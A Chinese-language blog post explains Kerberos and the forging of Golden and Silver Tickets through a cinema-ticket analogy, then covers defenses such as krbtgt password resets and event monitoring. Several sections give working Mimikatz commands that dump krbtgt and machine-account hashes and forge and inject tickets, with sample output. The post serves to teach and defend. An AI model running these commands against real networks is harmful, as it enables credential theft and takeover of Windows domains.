引言
在现代企业网络中,Kerberos认证是Windows域环境的核心安全机制,通过票据机制确保通信的安全性和身份的可信性。然而,这一机制并非无懈可击。攻击者通过伪造黄金票据(Golden Ticket)和白银票据(Silver Ticket),可以在无需明文密码的情况下冒充任意用户,访问域内资源。这些攻击技术属于 Pass the Ticket 的典型实现,利用Kerberos票据的可移植性,使攻击者能够以合法用户身份访问服务或控制整个域。与依赖NTLM的传递哈希(Pass the Hash)或绕过哈希(Overpass the Hash)不同,PtT直接操作Kerberos票据(如票据授予票据TGT和服务票据ST),具有更高的灵活性和隐蔽性。
为了更直观地理解Kerberos认证及其伪造过程,本文将通过一个私人电影院的购票场景进行类比,逐步拆解黄金票据和白银票据的原理、技术细节、实现方式及防御策略。
电影院类比:直观理解Kerberos认证
1.1 Kerberos认证基础
Kerberos是由MIT开发的一种网络认证协议,广泛应用于Windows域环境中。它通过票据(Ticket)而非直接传输密码实现安全身份验证。其核心组件包括:
- 密钥分发中心(KDC, Key Distribution Center):负责票据的签发和验证,分为认证服务(AS, Authentication Service)和票据授予服务(TGS, Ticket Granting Service)。
- 票据授予票据(TGT, Ticket Granting Ticket):由AS签发,证明用户身份,用于向TGS请求服务票据。
- 服务票据(ST, Service Ticket):由TGS基于TGT生成,用于访问特定服务(如文件共享、数据库)。
Kerberos认证流程如下:
- 用户登录,向AS提交用户名和密码,获取TGT。
- 使用TGT向TGS请求特定服务的ST。
- 将ST提交给目标服务,完成认证并访问资源。

1.2 私人电影院购票类比
想象你走进一家高档私人电影院,这个购票流程与Kerberos认证惊人相似:
- 你(Client) 来到前台,出示身份证和购票密码(相当于用户名和密码)。
- 前台(AS) 验证身份后,发放一张兑换券(TGT),证明你已通过认证。
- 你拿着兑换券找到售票员(TGS),兑换一张电影票(ST),指定某场电影。
- 凭借电影票,你进入放映厅(目标服务),顺利观影。
在这个类比中:
- 兑换券(TGT) 是黄金票据的原型,象征全局通行权限。
- 电影票(ST) 是白银票据的原型,仅限于特定场次(服务)。
服务票据(ST, Service Ticket)有时也被称为票据授予服务票据(TGS Ticket),但二者在Kerberos认证中实际上是同一概念,指由票据授予服务(TGS, Ticket Granting Service)基于TGT(票据授予票据)为客户端生成的、用于访问特定服务的票据。ST/TGS Ticket的联系在于它们都代表针对特定服务的授权凭证,包含客户端身份和服务主体名称(SPN),由服务账户的密钥签名。区别仅在于命名习惯:ST是更通用的术语,强调其功能;TGS Ticket则突出其由TGS组件签发的来源。在伪造场景(如白银票据)中,攻击者直接伪造ST而无需TGS交互,绕过KDC验证。
1.3 伪造票据的威胁
如果攻击者伪造了兑换券(黄金票据),他们可以畅通无阻地进入任何放映厅;若伪造了电影票(白银票据),则能进入特定场次。这种伪造能力正是Kerberos认证中的重大安全隐患,也是本文的核心探讨内容。
黄金票据(Golden Ticket):域的“万能钥匙”
2.1 定义与威胁
黄金票据是一种伪造的TGT,由攻击者利用域控制器中krbtgt账户的NTLM哈希生成。一旦伪造成功,攻击者可冒充任意用户,访问域内所有服务,堪称域环境的“万能钥匙”。其威胁在于,攻击者无需与AS交互即可生成任意服务的ST,实现对整个域的持久化控制。
2.2 技术原理
TGT是Kerberos认证的基石,由KDC的AS使用krbtgt账户的密钥签名。攻击者获取该密钥(通常是NTLM哈希)后,可以:
- 伪造包含任意用户身份的TGT。
- 使用伪造的TGT向TGS请求任何服务的ST。
- 实现对域内资源(如文件服务器、数据库、甚至域控制器)的完全访问。
2.3 伪造条件
生成黄金票据需满足以下条件:
- 域名称:如
corp.com,标识目标域。 - 域SID(Security Identifier):域的唯一标识符,可从域内主机提取。
- krbtgt账户的NTLM哈希:域控制器的核心密钥,通常通过提权或内存抓取获取。
- 伪造用户名:如
administrator,定义票据的身份。
2.4 实际利用流程
以下是以Mimikatz工具实现黄金票据攻击的步骤:
- 提取krbtgt哈希:
- 假设攻击者已入侵域控制器(如DC1),使用Mimikatz执行:
mimikatz # lsadump::dcsync /user:krbtgt NTLM: 502a3e5a7b8c4f1d9d238bc8e4a8f8b8 - 生成伪造TGT:
mimikatz # kerberos::golden /user:administrator /domain:corp.com /sid:S-1-5-21-1987370270-658905905-1781884369 /krbtgt:502a3e5a7b8c4f1d9d238bc8e4a8f8b8 /ptt * Golden Ticket created and injected - 验证访问:
PS C:\> klist #0> Client: administrator @ CORP.COM Server: krbtgt/CORP.COM @ CORP.COM PS C:\> dir \\dc1\sysvol <成功访问域控制器资源>
2.5 特点分析
- 全域适用:黄金票据可生成任意服务的ST,覆盖整个域。
- 持久性强:除非krbtgt密码重置,否则票据长期有效。
- 高风险:攻击者可长期潜伏,难以被常规安全措施察觉。
2.6 防御策略
- 定期重置krbtgt密码:微软建议每半年重置两次,可使用脚本(如
Reset-KrbTgt-Password)自动化执行。 - 强化域控安全:限制物理和逻辑访问,启用Windows Credential Guard,防止哈希被窃取。
- 监控异常行为:通过SIEM系统检测异常TGT使用或高权限登录事件(如Event ID 4624、4768)。
白银票据(Silver Ticket):精准的定向攻击
3.1 定义与威胁
白银票据是一种伪造的ST,由攻击者利用目标服务账户的NTLM哈希生成。它针对特定服务(如文件共享、SQL数据库),无需与KDC交互,直接提交给服务完成认证。其威胁在于隐蔽性极高,适合快速获取特定资源。
3.2 技术原理
ST由TGS使用服务账户的密钥签名。攻击者获取该密钥后,可以:
- 伪造绑定特定服务的ST。
- 直接向服务提交ST,绕过TGS认证。
- 实现对单一服务的定向访问。
3.3 伪造条件
生成白银票据需满足以下条件:
- 域名称:如
corp.com。 - 服务主体名称(SPN, Service Principal Name):如
CIFS/web04.corp.com,标识目标服务。 - ** 服务账户NTLM哈希**:如WEB04的机器账户哈希。
- 伪造用户名:如
administrator。 - 域SID:确保票据与域兼容。
3.4 实际利用流程
以下是白银票据攻击示例:
- 提取服务账户哈希:
- 假设攻击者入侵WEB04,提取其机器账户哈希:
mimikatz # sekurlsa::logonpasswords Username: WEB04$ NTLM: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6 - 生成伪造ST:
mimikatz # kerberos::golden /user:administrator /domain:corp.com /sid:S-1-5-21-1987370270-658905905-1781884369 /target:web04.corp.com /service:cifs /rc4:a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6 /ptt * Silver Ticket created and injected - 访问服务:
PS C:\> klist #0> Client: administrator @ CORP.COM Server: cifs/web04.corp.com @ CORP.COM PS C:\> dir \\web04\backup Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 9/13/2022 2:52 AM 0 backup_schemata.txt
3.5 特点分析
- 定向性强:仅限特定服务,攻击范围受限。
- 隐蔽性高:无需KDC交互,难以通过域日志(如Event ID 4769)检测。
- 依赖性:需服务账户哈希,适用场景较窄。
3.6 防御策略
- 定期更新服务账户密码:轮换密码,降低哈希泄露风险。
- 最小化权限:限制服务账户的权限范围,避免高权限账户被滥用。
- 访问控制:为敏感服务配置严格的访问控制列表(ACL),限制访问者。
黄金票据与白银票据:技术对比与应用场景
4.1 技术对比
| 特性 | 黄金票据(Golden Ticket) | 白银票据(Silver Ticket) |
|---|---|---|
| 票据类型 | TGT | ST |
| 签名密钥 | krbtgt账户哈希 | 服务账户哈希 |
| 覆盖范围 | 全域(所有服务) | 特定服务 |
| 生成难度 | 需域控权限 | 需服务账户哈希 |
| 隐蔽性 | 较低(需TGS交互) | 较高(无需KDC交互) |
| 有效性 | 长期(直到krbtgt重置) | 短期(受服务密码影响) |
| 与AS交互 | ❌ 不需要 | ❌ 不需要 |
| 与TGS交互 | ✅ 需要 | ❌ 不需要 |
| 与服务交互 | ✅ 需要 | ✅ 需要 |
4.2 类比解释
- 黄金票据:伪造的兑换券,持券者可进入任何放映厅,权限最大,适合全面控制。
- 白银票据:伪造的电影票,仅限某场电影,针对性强,适合精准攻击。
4.3 应用场景
- 黄金票据:适用于持久化控制整个域的场景,如高级持续性威胁(APT)攻击,目标是长期潜伏和广泛访问。
- 白银票据:适用于快速访问特定服务的场景,如提取敏感数据或针对特定服务器(如文件服务器、数据库)进行操作。
攻防实践:如何应对票据伪造攻击
5.1 攻击者视角:构造票据的命令示例
如果攻击者需要构造黄金票据或白银票据,Mimikatz是常用工具。以下是具体命令示例,假设目标域为corp.com,域SID为S-1-5-21-1987370270-658905905-1781884369:
-
黄金票据(伪造administrator访问全域):
mimikatz # kerberos::golden /user:administrator /domain:corp.com /sid:S-1-5-21-1987370270-658905905-1781884369 /krbtgt:502a3e5a7b8c4f1d9d238bc8e4a8f8b8 /ptt -
白银票据(伪造administrator访问web04的CIFS服务):
mimikatz # kerberos::golden /user:administrator /domain:corp.com /sid:S-1-5-21-1987370270-658905905-1781884369 /target:web04.corp.com /service:cifs /rc4:a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6 /ptt
5.2 防御者视角:构建安全防线
- 强化认证机制:启用多因素认证(MFA),结合智能卡或生物识别技术,降低凭据被窃取的风险。
- 监控与日志分析:部署SIEM系统,重点监控Kerberos相关事件(如Event ID 4768、4769、4624),发现异常TGT或ST使用。
- 最小权限原则:限制服务账户和服务主机的权限,减少被攻击面。
- 应急响应:一旦发现票据伪造攻击,立即重置krbtgt密码或服务账户密码,并检查域内所有主机的安全状态。
结论
黄金票据和白银票据是Kerberos认证体系中最具威胁的攻击手段之一。黄金票据通过伪造TGT实现全域控制,适合长期潜伏和广泛权限滥用;白银票据通过伪造ST实现精准服务访问,隐蔽性更高,适合快速数据窃取。两者均依赖于NTLM哈希的泄露,凸显了保护域控制器和服务账户安全的重要性。
通过私人电影院的购票类比,我们可以更直观地理解Kerberos认证的流程以及票据伪造的威胁。防御这些攻击的关键在于强化认证安全、定期更新密钥、严格访问控制和持续监控异常行为。希望本文能帮助读者深入理解Kerberos认证的潜在风险,并在实践中构建更安全的网络环境。
原文 https://blog.csdn.net/2301_79518550/article/details/144622035